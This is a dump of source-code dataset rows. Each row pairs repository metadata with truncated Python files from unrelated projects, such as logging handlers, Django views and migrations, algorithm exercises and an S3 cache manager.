ac4ac4591bbcf62d64ec05b5479e6e8315f92a69
[ "MIT" ]
null
null
null
slackcast/logger.py
rbdixon/slackcast
ac4ac4591bbcf62d64ec05b5479e6e8315f92a69
[ "MIT" ]
1
2021-11-15T17:47:27.000Z
2021-11-15T17:47:27.000Z
slackcast/logger.py
rbdixon/slackcast
ac4ac4591bbcf62d64ec05b5479e6e8315f92a69
[ "MIT" ]
null
null
null
import attr import logging from .token import get_token from .caster import SlackCaster __all__ = ['SlackLogger'] log = logging.getLogger(__name__) @attr.s
24.233333
70
0.69326
import attr import logging from .token import get_token from .caster import SlackCaster __all__ = ['SlackLogger'] log = logging.getLogger(__name__) @attr.s class SlackLogger(logging.Handler): channel = attr.ib(converter=str) token = attr.ib(default=None, converter=str) level = attr.ib(default=logging....
296
248
22
13653e5710cc10bf9861e75d3ecb18c13f442a6a
2,398
py
Python
apis/Utils.py
DerWalundDieKatze/Yumekui
cb3174103ced7474ce6d1abd774b399557dcaf4f
[ "Apache-2.0" ]
null
null
null
apis/Utils.py
DerWalundDieKatze/Yumekui
cb3174103ced7474ce6d1abd774b399557dcaf4f
[ "Apache-2.0" ]
null
null
null
apis/Utils.py
DerWalundDieKatze/Yumekui
cb3174103ced7474ce6d1abd774b399557dcaf4f
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # encoding: utf-8 ''' @author: caroline @license: (C) Copyright 2019-2022, Node Supply Chain Manager Corporation Limited. @contact: caroline.fang.cc@gmail.com @software: pycharm @file: Utils.py @time: 2019/12/23 10:56 下午 @desc: ''' import xlrd import xlwt def get_real_value(value): """ ...
26.065217
86
0.595079
#!/usr/bin/env python # encoding: utf-8 ''' @author: caroline @license: (C) Copyright 2019-2022, Node Supply Chain Manager Corporation Limited. @contact: caroline.fang.cc@gmail.com @software: pycharm @file: Utils.py @time: 2019/12/23 10:56 下午 @desc: ''' import xlrd import xlwt def get_real_value(value): """ ...
0
0
0
6d386ec389b2b19bd0be7bb842b66d4ccac71eab
2,765
py
Python
Examples/AlgoTradingImplementation/main.py
cstox/stox
ff0db6610f401c63e6df4fa643cd5cd5f8e1871e
[ "MIT" ]
28
2021-05-22T16:34:43.000Z
2021-06-25T15:42:25.000Z
Examples/AlgoTradingImplementation/main.py
webclinic017/stox
ff0db6610f401c63e6df4fa643cd5cd5f8e1871e
[ "MIT" ]
null
null
null
Examples/AlgoTradingImplementation/main.py
webclinic017/stox
ff0db6610f401c63e6df4fa643cd5cd5f8e1871e
[ "MIT" ]
3
2021-07-17T12:36:55.000Z
2021-11-07T11:04:30.000Z
## Import The Modules import stox import pandas as pd stock_list = ['FB','AAPL','AMZN','NFLX','GOOG'] ## List Of Stocks You Would Want To Buy number_of_stocks = len(stock_list) print(number_of_stocks) x = 0 starting_cash = 10000 ## Amount Of Money In Trading Account current_cash = starting_cash percent_to_spend = 5 ...
35
88
0.58698
## Import The Modules import stox import pandas as pd stock_list = ['FB','AAPL','AMZN','NFLX','GOOG'] ## List Of Stocks You Would Want To Buy number_of_stocks = len(stock_list) print(number_of_stocks) x = 0 starting_cash = 10000 ## Amount Of Money In Trading Account current_cash = starting_cash percent_to_spend = 5 ...
612
0
46
27a39087f358ccf23673444f58568ef462c41bfe
172
py
Python
Python/filter_func.py
santoshgawande/DS-Algorithms
eb1de229fd3336d862bd4787295f208a4424d0bb
[ "Apache-2.0" ]
null
null
null
Python/filter_func.py
santoshgawande/DS-Algorithms
eb1de229fd3336d862bd4787295f208a4424d0bb
[ "Apache-2.0" ]
null
null
null
Python/filter_func.py
santoshgawande/DS-Algorithms
eb1de229fd3336d862bd4787295f208a4424d0bb
[ "Apache-2.0" ]
null
null
null
# Using Filter Func # It will filter numer which is less than zero number_list = range(-5, 5) less_than_zero = list(filter(lambda x:x<0, number_list)) print(less_than_zero)
34.4
56
0.767442
# Using Filter Func # It will filter numer which is less than zero number_list = range(-5, 5) less_than_zero = list(filter(lambda x:x<0, number_list)) print(less_than_zero)
0
0
0
e484735b1fd51c7514723dc5022e22ee78b240ce
197
py
Python
src/process/process/domain/aps/__init__.py
ahmetcagriakca/pythondataintegrator
079b968d6c893008f02c88dbe34909a228ac1c7b
[ "MIT" ]
1
2020-12-18T21:37:28.000Z
2020-12-18T21:37:28.000Z
src/process/process/domain/aps/__init__.py
ahmetcagriakca/pythondataintegrator
079b968d6c893008f02c88dbe34909a228ac1c7b
[ "MIT" ]
null
null
null
src/process/process/domain/aps/__init__.py
ahmetcagriakca/pythondataintegrator
079b968d6c893008f02c88dbe34909a228ac1c7b
[ "MIT" ]
1
2020-12-18T21:37:31.000Z
2020-12-18T21:37:31.000Z
from process.domain.aps.ApSchedulerEvent import ApSchedulerEvent from process.domain.aps.ApSchedulerJob import ApSchedulerJob from process.domain.aps.ApSchedulerJobEvent import ApSchedulerJobEvent
49.25
70
0.893401
from process.domain.aps.ApSchedulerEvent import ApSchedulerEvent from process.domain.aps.ApSchedulerJob import ApSchedulerJob from process.domain.aps.ApSchedulerJobEvent import ApSchedulerJobEvent
0
0
0
c9129494d8aed10c7521499a06225dbb8654df76
545
py
Python
hypothesis/benchmark/seismic/simulator.py
JoeriHermans/hypothesis
29a2b7b4649db345d43a8d3bf98aa5d817b43f1b
[ "BSD-3-Clause" ]
45
2019-02-13T14:16:35.000Z
2022-02-23T21:30:02.000Z
hypothesis/benchmark/seismic/simulator.py
JoeriHermans/hypothesis
29a2b7b4649db345d43a8d3bf98aa5d817b43f1b
[ "BSD-3-Clause" ]
1
2020-01-13T08:29:50.000Z
2020-01-22T10:28:02.000Z
hypothesis/benchmark/seismic/simulator.py
JoeriHermans/hypothesis
29a2b7b4649db345d43a8d3bf98aa5d817b43f1b
[ "BSD-3-Clause" ]
8
2019-04-23T14:25:08.000Z
2021-07-28T15:05:31.000Z
r"""Generate the physics of a hypothetical 2-D spherical world, and then generate seismic events and detections. Based on the codebase of: Nimar Arora https://github.com/nimar/seismic-2d/blob/master/generate.py """ import hypothesis import numpy as np import torch from hypothesis.simulation import Simulator as BaseS...
24.772727
97
0.774312
r"""Generate the physics of a hypothetical 2-D spherical world, and then generate seismic events and detections. Based on the codebase of: Nimar Arora https://github.com/nimar/seismic-2d/blob/master/generate.py """ import hypothesis import numpy as np import torch from hypothesis.simulation import Simulator as BaseS...
120
17
77
721165b0f1ac518c77bc38bdfc7d174862f00b70
2,349
py
Python
ipt/algo_search/search2.py
lucas8/MPSI
edefa2155071910d95633acf87b9f3a9d34f67d3
[ "MIT" ]
null
null
null
ipt/algo_search/search2.py
lucas8/MPSI
edefa2155071910d95633acf87b9f3a9d34f67d3
[ "MIT" ]
null
null
null
ipt/algo_search/search2.py
lucas8/MPSI
edefa2155071910d95633acf87b9f3a9d34f67d3
[ "MIT" ]
null
null
null
#!/usr/bin/python3 from random import randint lst = [1, 4, 6, 2, 7, 8, 9, 10, 4, 6, 1] print(lst) ########## Recherche d'un element ########### print("Looking for 6:") print(search_truth(6, lst)) print(search_id(6, lst)) print(search_pos(6, lst)) print(search_s(6, lst)) ############# Recherche d'un mot ############...
19.739496
50
0.438059
#!/usr/bin/python3 from random import randint lst = [1, 4, 6, 2, 7, 8, 9, 10, 4, 6, 1] print(lst) ########## Recherche d'un element ########### def search_truth(x, a): for e in a: if e == x: return True return False def search_id(x, a): for i in range(len(a)): if x == a[i]: ...
1,523
0
204
9bc4984142b86b423771ca6fb2aa2916f0e83e40
1,816
py
Python
Products/CMFCore/namespace.py
fulv/Products.CMFCore
1d6ce101b10aaefba8aa917b6aa404e6c49e254d
[ "ZPL-2.1" ]
3
2015-11-24T16:26:02.000Z
2019-04-09T07:37:12.000Z
Products/CMFCore/namespace.py
fulv/Products.CMFCore
1d6ce101b10aaefba8aa917b6aa404e6c49e254d
[ "ZPL-2.1" ]
86
2015-09-10T16:25:08.000Z
2022-03-17T07:16:30.000Z
Products/CMFCore/namespace.py
fulv/Products.CMFCore
1d6ce101b10aaefba8aa917b6aa404e6c49e254d
[ "ZPL-2.1" ]
16
2015-08-21T21:35:35.000Z
2021-08-04T18:20:55.000Z
############################################################################## # # Copyright (c) 2008 Zope Foundation and Contributors. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOFTWARE IS PROVIDED "AS I...
34.264151
78
0.638767
############################################################################## # # Copyright (c) 2008 Zope Foundation and Contributors. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOFTWARE IS PROVIDED "AS I...
604
0
54
d76b78f1c4bee61c04a8cdbb67b8d579d644dbf3
483
py
Python
z_other_utility/remove_file_by_path.py
ITh4cker/auto_tools
8e0e00cdf8bf60ee3f26fa5ae8f18c376298d0aa
[ "Apache-2.0" ]
null
null
null
z_other_utility/remove_file_by_path.py
ITh4cker/auto_tools
8e0e00cdf8bf60ee3f26fa5ae8f18c376298d0aa
[ "Apache-2.0" ]
null
null
null
z_other_utility/remove_file_by_path.py
ITh4cker/auto_tools
8e0e00cdf8bf60ee3f26fa5ae8f18c376298d0aa
[ "Apache-2.0" ]
1
2021-06-16T07:32:17.000Z
2021-06-16T07:32:17.000Z
import os, sys help_msg = """ Usage: python remove_file_by_path.py list_file Note: 1. list_file contains a full file path list, such as: /sa/sample/normal/file_1 /sa/sample/normal/file_2 ... /sa/sample/normal/file_n """ if len(sys.argv) != 2: print help_msg exit(-1) with open(sys.argv[1], 'r') as fh: ...
17.888889
54
0.679089
import os, sys help_msg = """ Usage: python remove_file_by_path.py list_file Note: 1. list_file contains a full file path list, such as: /sa/sample/normal/file_1 /sa/sample/normal/file_2 ... /sa/sample/normal/file_n """ if len(sys.argv) != 2: print help_msg exit(-1) with open(sys.argv[1], 'r') as fh: ...
0
0
0
bbea072fd931b73390168d9c36169bdd10af6c66
430
py
Python
budgetportal/migrations/0049_infraprojectsnapshot_sector.py
Lunga001/datamanager
ebe9ad9db2ee7011855f1249c46d9d1bf6f4c4d1
[ "MIT" ]
3
2019-08-31T03:08:22.000Z
2020-04-03T13:09:20.000Z
budgetportal/migrations/0049_infraprojectsnapshot_sector.py
Lunga001/datamanager
ebe9ad9db2ee7011855f1249c46d9d1bf6f4c4d1
[ "MIT" ]
97
2019-04-16T07:54:38.000Z
2022-02-10T07:25:48.000Z
budgetportal/migrations/0049_infraprojectsnapshot_sector.py
OpenUpSA/budget-portal
879c5875b1d438b9287c38d6730c86be69051ac5
[ "MIT" ]
14
2019-04-23T09:48:17.000Z
2021-04-13T17:48:40.000Z
# Generated by Django 2.2.10 on 2020-03-14 10:35 from django.db import migrations, models
22.631579
75
0.625581
# Generated by Django 2.2.10 on 2020-03-14 10:35 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ("budgetportal", "0048_merge_20200314_1035"), ] operations = [ migrations.AddField( model_name="infraprojectsnapshot", ...
0
315
23
c7fabc6e700380d7fb1aca4f89c37103100dc956
999
py
Python
archive.py
idec-net/ii-db-utils
2d07905f6a8570050491fc8690f0f12b2c050ca7
[ "CC0-1.0" ]
null
null
null
archive.py
idec-net/ii-db-utils
2d07905f6a8570050491fc8690f0f12b2c050ca7
[ "CC0-1.0" ]
null
null
null
archive.py
idec-net/ii-db-utils
2d07905f6a8570050491fc8690f0f12b2c050ca7
[ "CC0-1.0" ]
null
null
null
#!/usr/bin/env python3 import sys, calendar, datetime, time from ii_functions import * args=sys.argv[1:] if len(args) < 2: print("Usage: archive.py echoarea YYYY.MM.DD") quit() date = args[1].split(".") date = calendar.timegm(datetime.date(int(date[0]), int(date[1]), int(date[2])).timetuple()) echoarea = getMsgL...
21.717391
91
0.652653
#!/usr/bin/env python3 import sys, calendar, datetime, time from ii_functions import * args=sys.argv[1:] if len(args) < 2: print("Usage: archive.py echoarea YYYY.MM.DD") quit() date = args[1].split(".") date = calendar.timegm(datetime.date(int(date[0]), int(date[1]), int(date[2])).timetuple()) echoarea = getMsgL...
0
0
0
372b84b3a7c545b2d96697f8a0bbc6be2ee7204e
1,797
py
Python
Alarm/model.py
Rubber-Duck-999/HouseGuardServices
0b8f0a91b331ca68f343c4e960d59b84f7182b62
[ "MIT" ]
null
null
null
Alarm/model.py
Rubber-Duck-999/HouseGuardServices
0b8f0a91b331ca68f343c4e960d59b84f7182b62
[ "MIT" ]
3
2021-08-05T07:56:05.000Z
2022-03-22T12:35:44.000Z
Alarm/model.py
Rubber-Duck-999/HouseGuardServices
0b8f0a91b331ca68f343c4e960d59b84f7182b62
[ "MIT" ]
null
null
null
#!/usr/bin/python3 import os import logging import json from datetime import datetime import requests class FileNotFound(Exception): '''Exception class for file checking''' class Model: '''Class for managing requests''' def __init__(self, name): '''Constructor''' logging.info('init()') ...
32.089286
75
0.588203
#!/usr/bin/python3 import os import logging import json from datetime import datetime import requests class FileNotFound(Exception): '''Exception class for file checking''' class Model: '''Class for managing requests''' def __init__(self, name): '''Constructor''' logging.info('init()') ...
32
0
27
52454dc1edfd7f9785b569dbf24d6e043bd740eb
116
py
Python
cmz/cms_content/rest_admin.py
inmagik/cmz
e183f0c7203bda5efb1cbeb96f4f06a76aa91231
[ "MIT" ]
1
2016-10-01T18:35:24.000Z
2016-10-01T18:35:24.000Z
cmz/cms_content/rest_admin.py
inmagik/cmz
e183f0c7203bda5efb1cbeb96f4f06a76aa91231
[ "MIT" ]
8
2016-09-14T21:39:09.000Z
2016-10-25T20:08:31.000Z
cmz/cms_content/rest_admin.py
inmagik/cmz
e183f0c7203bda5efb1cbeb96f4f06a76aa91231
[ "MIT" ]
null
null
null
from django_rest_admin.register import rest_admin from .models import TextContent rest_admin.register(TextContent)
23.2
49
0.87069
from django_rest_admin.register import rest_admin from .models import TextContent rest_admin.register(TextContent)
0
0
0
62d5321247e6bfe99fb6451de4c25779d5316f64
448
py
Python
starlingx-dashboard/starlingx-dashboard/starlingx_dashboard/dashboards/admin/providernets/views.py
NaiveOpenStack/stx-gui
11b75559f0dea9dd7b5807353cb6141903d1ab4e
[ "Apache-2.0" ]
1
2018-09-18T11:10:53.000Z
2018-09-18T11:10:53.000Z
starlingx-dashboard/starlingx-dashboard/starlingx_dashboard/dashboards/admin/providernets/views.py
NaiveOpenStack/stx-gui
11b75559f0dea9dd7b5807353cb6141903d1ab4e
[ "Apache-2.0" ]
null
null
null
starlingx-dashboard/starlingx-dashboard/starlingx_dashboard/dashboards/admin/providernets/views.py
NaiveOpenStack/stx-gui
11b75559f0dea9dd7b5807353cb6141903d1ab4e
[ "Apache-2.0" ]
null
null
null
# # Copyright (c) 2016 Wind River Systems, Inc. # # SPDX-License-Identifier: Apache-2.0 # from django.utils.translation import ugettext_lazy as _ from horizon import tabs from starlingx_dashboard.dashboards.admin.providernets \ import tabs as project_tabs
23.578947
56
0.774554
# # Copyright (c) 2016 Wind River Systems, Inc. # # SPDX-License-Identifier: Apache-2.0 # from django.utils.translation import ugettext_lazy as _ from horizon import tabs from starlingx_dashboard.dashboards.admin.providernets \ import tabs as project_tabs class IndexViewTabbed(tabs.TabbedTableView): tab_gr...
0
161
23
802f3005899170e0dea6d1044ff89f7cc810afd6
98
py
Python
src/Pythonscript/USBchecker.py
WillRedLaw/TheAceManager
18f212895a454a7a3c9a750ffb9be5d3fa6a0373
[ "MIT" ]
null
null
null
src/Pythonscript/USBchecker.py
WillRedLaw/TheAceManager
18f212895a454a7a3c9a750ffb9be5d3fa6a0373
[ "MIT" ]
null
null
null
src/Pythonscript/USBchecker.py
WillRedLaw/TheAceManager
18f212895a454a7a3c9a750ffb9be5d3fa6a0373
[ "MIT" ]
null
null
null
import os USBFile = open('test.txt.', 'r') i = 0 for line1 in USBFile: i += 1 for line
9.8
32
0.561224
import os USBFile = open('test.txt.', 'r') i = 0 for line1 in USBFile: i += 1 for line
0
0
0
b526e79c452f3a7b44683a296e0dfe9df6c8d6d8
3,754
py
Python
datable/web/table.py
ofirr/dojango-datable
c4d27c23d66c023062270a31f05e21d0982e0b43
[ "MIT" ]
null
null
null
datable/web/table.py
ofirr/dojango-datable
c4d27c23d66c023062270a31f05e21d0982e0b43
[ "MIT" ]
null
null
null
datable/web/table.py
ofirr/dojango-datable
c4d27c23d66c023062270a31f05e21d0982e0b43
[ "MIT" ]
null
null
null
from django.http import HttpResponse from django.http import Http404 from dojango.decorators import json_response from django.utils.translation import ugettext as _ from datable.core import formats from datetime import datetime from urllib.parse import urlencode class Table(object): """A table, which may be prese...
30.520325
84
0.611348
from django.http import HttpResponse from django.http import Http404 from dojango.decorators import json_response from django.utils.translation import ugettext as _ from datable.core import formats from datetime import datetime from urllib.parse import urlencode class Table(object): """A table, which may be prese...
2,522
0
188
573ea43aacc7ec6a35d4191ef8b3cb7014f460cf
980
py
Python
RLBotPack/DomNomNom/NomBot_v1.0/NomBot/scorer.py
RLMarvin/RLBotPack
c88c4111bf67d324b471ad87ad962e7bc8c2a202
[ "MIT" ]
13
2019-05-25T20:25:51.000Z
2022-03-19T13:36:23.000Z
RLBotPack/DomNomNom/NomBot_v1.0/NomBot/scorer.py
RLMarvin/RLBotPack
c88c4111bf67d324b471ad87ad962e7bc8c2a202
[ "MIT" ]
53
2019-06-07T13:31:59.000Z
2022-03-28T22:53:47.000Z
RLBotPack/DomNomNom/NomBot_v1.0/NomBot/scorer.py
RLMarvin/RLBotPack
c88c4111bf67d324b471ad87ad962e7bc8c2a202
[ "MIT" ]
78
2019-06-30T08:42:13.000Z
2022-03-23T20:11:42.000Z
from .vector_math import * # from quicktracer import trace # Note: "score" in this file is not scoring a goal, but an arbitrary reward class PosVelScorer(Scorer): """docstring for PosVel"""
28
75
0.614286
from .vector_math import * # from quicktracer import trace # Note: "score" in this file is not scoring a goal, but an arbitrary reward class Scorer(object): def update(s): pass def get_score(self): return 0.0 def rms_deviation_from_diffs(diffs): deviation = 0 for diff in diffs: ...
608
0
176
488ef721da1d0257d312cd252399b7287dc93f3b
1,095
py
Python
tests/test_state.py
lRomul/rosny
63e581be8144082065ce26a7de9b3c6e164b77e6
[ "MIT" ]
6
2021-06-17T13:17:56.000Z
2021-07-17T11:54:28.000Z
tests/test_state.py
lRomul/rosny
63e581be8144082065ce26a7de9b3c6e164b77e6
[ "MIT" ]
null
null
null
tests/test_state.py
lRomul/rosny
63e581be8144082065ce26a7de9b3c6e164b77e6
[ "MIT" ]
1
2021-08-03T23:21:25.000Z
2021-08-03T23:21:25.000Z
import pytest from rosny.state import CommonState @pytest.fixture(scope='function')
30.416667
62
0.702283
import pytest from rosny.state import CommonState @pytest.fixture(scope='function') def common_state() -> CommonState: return CommonState() class TestCommonState: def test_set_clear_exit_event(self, common_state): assert not common_state._exit_event.is_set() assert not common_state.exit_is_s...
882
1
125
035845d5a7a1acae987c4a4324f776ae98b192e4
5,296
py
Python
mtools/mplotqueries/plottypes/connchurn_type.py
lsadler/mtools
90572c286efc3f60432629b1c7deb3ceee218760
[ "Apache-2.0" ]
null
null
null
mtools/mplotqueries/plottypes/connchurn_type.py
lsadler/mtools
90572c286efc3f60432629b1c7deb3ceee218760
[ "Apache-2.0" ]
null
null
null
mtools/mplotqueries/plottypes/connchurn_type.py
lsadler/mtools
90572c286efc3f60432629b1c7deb3ceee218760
[ "Apache-2.0" ]
null
null
null
from mtools.mplotqueries.plottypes.base_type import BasePlotType import argparse import types import re import numpy as np try: from matplotlib.dates import date2num, num2date except ImportError: raise ImportError("Can't import matplotlib. See https://github.com/rueckstiess/mtools/blob/master/INSTALL.md for \ ...
36.777778
146
0.622734
from mtools.mplotqueries.plottypes.base_type import BasePlotType import argparse import types import re import numpy as np try: from matplotlib.dates import date2num, num2date except ImportError: raise ImportError("Can't import matplotlib. See https://github.com/rueckstiess/mtools/blob/master/INSTALL.md for \ ...
3,207
0
109
6ea75d2ca08c6a7dc8db33d088e69c691a2396ab
317
py
Python
Pyon exercicios/Exercicios/032.py
alefbispo/Exercicios-do-curso-de-Python
16cd569ab16542135b834ac8d0cfb0ae84836d53
[ "MIT" ]
null
null
null
Pyon exercicios/Exercicios/032.py
alefbispo/Exercicios-do-curso-de-Python
16cd569ab16542135b834ac8d0cfb0ae84836d53
[ "MIT" ]
null
null
null
Pyon exercicios/Exercicios/032.py
alefbispo/Exercicios-do-curso-de-Python
16cd569ab16542135b834ac8d0cfb0ae84836d53
[ "MIT" ]
null
null
null
#peca um ano e diga se o ano é bisexto from datetime import date ano = int(input('Digite um ano: ')) resto_quatro = ano % 4 resto_cem = ano % 100 if ano == 0: ano = date.today().year if resto_quatro == 0 and resto_cem > 0: print('Ano {} é bisexto'.format(ano)) else: print('{} Não é bisexto'.format(ano))
26.416667
41
0.652997
#peca um ano e diga se o ano é bisexto from datetime import date ano = int(input('Digite um ano: ')) resto_quatro = ano % 4 resto_cem = ano % 100 if ano == 0: ano = date.today().year if resto_quatro == 0 and resto_cem > 0: print('Ano {} é bisexto'.format(ano)) else: print('{} Não é bisexto'.format(ano))
0
0
0
354dda920d6cebe2bc136e8acab3938bbc2b67f8
4,932
py
Python
pbal/views.py
bpotvin-bccrc/colossus
fa5ca7ce4cfe794c7d2167acb868aa9167988941
[ "MIT" ]
2
2018-10-03T16:05:14.000Z
2019-03-08T23:01:29.000Z
pbal/views.py
bpotvin-bccrc/colossus
fa5ca7ce4cfe794c7d2167acb868aa9167988941
[ "MIT" ]
3
2019-05-09T22:48:22.000Z
2020-06-05T18:52:05.000Z
pbal/views.py
bpotvin-bccrc/colossus
fa5ca7ce4cfe794c7d2167acb868aa9167988941
[ "MIT" ]
4
2018-08-16T22:25:10.000Z
2021-02-19T16:10:15.000Z
from django.contrib.auth.decorators import login_required from django.core.checks import messages from django.http import HttpResponseRedirect from django.shortcuts import get_object_or_404 from pbal.forms import ( PbalLibraryForm, PbalLibrarySampleDetailInlineFormset, PbalLibraryConstructionInfoInlineForm...
26.95082
111
0.703366
from django.contrib.auth.decorators import login_required from django.core.checks import messages from django.http import HttpResponseRedirect from django.shortcuts import get_object_or_404 from pbal.forms import ( PbalLibraryForm, PbalLibrarySampleDetailInlineFormset, PbalLibraryConstructionInfoInlineForm...
1,877
1,668
365
6b30aaafa4ff957e3bbedf6cc0c68de9de8658d0
399
py
Python
composer/models/classify_mnist/__init__.py
jacobfulano/composer
4ad81df2d2ca6e5f0b4922bb2db750cd76ba34e8
[ "Apache-2.0" ]
2
2022-03-17T04:48:04.000Z
2022-03-20T09:06:19.000Z
composer/models/classify_mnist/__init__.py
jacobfulano/composer
4ad81df2d2ca6e5f0b4922bb2db750cd76ba34e8
[ "Apache-2.0" ]
null
null
null
composer/models/classify_mnist/__init__.py
jacobfulano/composer
4ad81df2d2ca6e5f0b4922bb2db750cd76ba34e8
[ "Apache-2.0" ]
null
null
null
# Copyright 2021 MosaicML. All Rights Reserved. from composer.models.classify_mnist.mnist_hparams import MnistClassifierHparams as MnistClassifierHparams from composer.models.classify_mnist.model import MNIST_Classifier as MNIST_Classifier _task = 'Image Classification' _dataset = 'MNIST' _name = 'SimpleConvNet' _qua...
30.692308
105
0.81203
# Copyright 2021 MosaicML. All Rights Reserved. from composer.models.classify_mnist.mnist_hparams import MnistClassifierHparams as MnistClassifierHparams from composer.models.classify_mnist.model import MNIST_Classifier as MNIST_Classifier _task = 'Image Classification' _dataset = 'MNIST' _name = 'SimpleConvNet' _qua...
0
0
0
f7a14466a4bf675945d2f9bf2ed557d63e9e9155
1,643
py
Python
app/app.py
julienkellerhals/OverView
b9058290cd07869ee6122aee311d466e3abc3e0b
[ "MIT" ]
null
null
null
app/app.py
julienkellerhals/OverView
b9058290cd07869ee6122aee311d466e3abc3e0b
[ "MIT" ]
7
2020-07-17T06:42:37.000Z
2022-02-26T11:37:24.000Z
app/app.py
julienkellerhals/OverView
b9058290cd07869ee6122aee311d466e3abc3e0b
[ "MIT" ]
null
null
null
import os from flask import Flask from flask import request from flask import render_template from flask import send_from_directory import db import abstractDriver import messageAnnouncer from api import dbAPI from story import Story from api import adminAPI from api import streamAPI from api import scrapeAPI from dash...
22.819444
77
0.701765
import os from flask import Flask from flask import request from flask import render_template from flask import send_from_directory import db import abstractDriver import messageAnnouncer from api import dbAPI from story import Story from api import adminAPI from api import streamAPI from api import scrapeAPI from dash...
397
0
44
c180855bb7981492cdc099acf18a5347c40c87ad
2,933
py
Python
test/multiregressionsigma_test.py
weatherai/pymica
ae212cfc5f8aaa3c738ce873d310298844ecd407
[ "MIT" ]
9
2019-09-02T07:40:51.000Z
2021-10-04T22:31:22.000Z
test/multiregressionsigma_test.py
weatherai/pymica
ae212cfc5f8aaa3c738ce873d310298844ecd407
[ "MIT" ]
18
2019-06-06T07:40:40.000Z
2022-02-04T07:57:51.000Z
test/multiregressionsigma_test.py
PhilipeRLeal/pymica
ae212cfc5f8aaa3c738ce873d310298844ecd407
[ "MIT" ]
6
2019-06-14T09:42:24.000Z
2020-11-07T04:42:51.000Z
'''Tests for pymica.multiregression.py ''' import unittest from pymica.multiregression import MultiRegression, MultiRegressionSigma
42.507246
79
0.527446
'''Tests for pymica.multiregression.py ''' import unittest from pymica.multiregression import MultiRegression, MultiRegressionSigma class TestMultiRegressionSigma(unittest.TestCase): def test_regression_ideal_data(self): data = [{'id': 'AA', 'hr': 0, 'temp': 0, 'dist': 0, 'altitude': 0}, ...
2,721
29
49
a2ef7bed870f202bc3a9bb4a6e74722c4d3d04d6
1,752
py
Python
afterglow_core/db_migration/users/versions/2_add_user_settings.py
JohnTorian/afterglow-core
e9dc0aa90e8ae84272ee686487acca8c16aa69b6
[ "Apache-2.0" ]
2
2021-05-24T15:12:07.000Z
2022-02-17T19:58:16.000Z
afterglow_core/db_migration/users/versions/2_add_user_settings.py
JohnTorian/afterglow-core
e9dc0aa90e8ae84272ee686487acca8c16aa69b6
[ "Apache-2.0" ]
1
2022-02-27T03:01:06.000Z
2022-02-27T03:01:06.000Z
afterglow_core/db_migration/users/versions/2_add_user_settings.py
JohnTorian/afterglow-core
e9dc0aa90e8ae84272ee686487acca8c16aa69b6
[ "Apache-2.0" ]
2
2021-06-08T18:16:40.000Z
2021-07-09T14:19:49.000Z
"""Add user settings""" from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '2' down_revision = '1' branch_labels = None depends_on = None
31.285714
76
0.569064
"""Add user settings""" from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '2' down_revision = '1' branch_labels = None depends_on = None def upgrade(): with op.batch_alter_table( 'users', recreate='always', table_args=( sa....
1,516
0
46
ba45e83278116bf353e0df8e395e6b6aa3f18760
1,850
py
Python
tests/job_tests/test_job_utils.py
irontablee/pygenie
fa4bdfeb0b5f17ce89a1c90dfddf70d5eaeead35
[ "Apache-2.0" ]
68
2017-05-30T20:24:28.000Z
2021-11-15T12:44:55.000Z
tests/job_tests/test_job_utils.py
irontablee/pygenie
fa4bdfeb0b5f17ce89a1c90dfddf70d5eaeead35
[ "Apache-2.0" ]
23
2017-07-20T21:56:38.000Z
2021-12-10T05:33:52.000Z
tests/job_tests/test_job_utils.py
irontablee/pygenie
fa4bdfeb0b5f17ce89a1c90dfddf70d5eaeead35
[ "Apache-2.0" ]
39
2017-05-30T17:32:11.000Z
2022-01-05T03:40:57.000Z
""" Test job utils. """ from __future__ import absolute_import, division, print_function, unicode_literals import unittest from nose.tools import assert_equals, assert_raises assert_equals.__self__.maxDiff = None from pygenie.jobs.utils import arg_list class TestArgList(unittest.TestCase): """Test pygeni...
22.560976
82
0.583243
""" Test job utils. """ from __future__ import absolute_import, division, print_function, unicode_literals import unittest from nose.tools import assert_equals, assert_raises assert_equals.__self__.maxDiff = None from pygenie.jobs.utils import arg_list class ArgList(object): def __init__(self): se...
28
119
23
0adc8d2b51644a2656bc6ac0a6af8f0645119976
2,323
py
Python
kasaya/workers/kasayad/dbsync.py
AYAtechnologies/Kasaya-esb
150fa96d4136641cd4632f3c9a09d4fc2610df07
[ "BSD-2-Clause" ]
1
2015-06-26T18:05:20.000Z
2015-06-26T18:05:20.000Z
kasaya/workers/kasayad/dbsync.py
AYAtechnologies/Kasaya-esb
150fa96d4136641cd4632f3c9a09d4fc2610df07
[ "BSD-2-Clause" ]
null
null
null
kasaya/workers/kasayad/dbsync.py
AYAtechnologies/Kasaya-esb
150fa96d4136641cd4632f3c9a09d4fc2610df07
[ "BSD-2-Clause" ]
null
null
null
#!/usr/bin/env python #coding: utf-8 #from __future__ import unicode_literals from kasaya.conf import settings #from gevent import socket from kasaya.core.protocol import Serializer, messages from kasaya.core.lib import LOG #from kasaya.core.exceptions import NotOurMessage from kasaya.core.events import emit #import tr...
21.509259
88
0.727077
#!/usr/bin/env python #coding: utf-8 #from __future__ import unicode_literals from kasaya.conf import settings #from gevent import socket from kasaya.core.protocol import Serializer, messages from kasaya.core.lib import LOG #from kasaya.core.exceptions import NotOurMessage from kasaya.core.events import emit #import tr...
114
0
135
8da9ab2bcea95efd1a4a025bb16e027b850ecd38
3,945
py
Python
app/util/file_cache_manager.py
tjdaley/payment_redirect
56378f5eb133790e4937116556a31b0578b84549
[ "BSD-3-Clause" ]
null
null
null
app/util/file_cache_manager.py
tjdaley/payment_redirect
56378f5eb133790e4937116556a31b0578b84549
[ "BSD-3-Clause" ]
38
2020-06-28T20:28:18.000Z
2021-03-29T16:43:29.000Z
app/util/file_cache_manager.py
tjdaley/payment_redirect
56378f5eb133790e4937116556a31b0578b84549
[ "BSD-3-Clause" ]
null
null
null
""" file_cache_manager.py - Manage a local cache of files synchronized through S3 Copyright (c) 2020 by Thomas J. Daley, J.D. """ import boto3 from boto3.s3.transfer import TransferConfig from botocore.exceptions import ClientError import os from dotenv import load_dotenv from util.logger import get_logger load_dote...
34.911504
90
0.66033
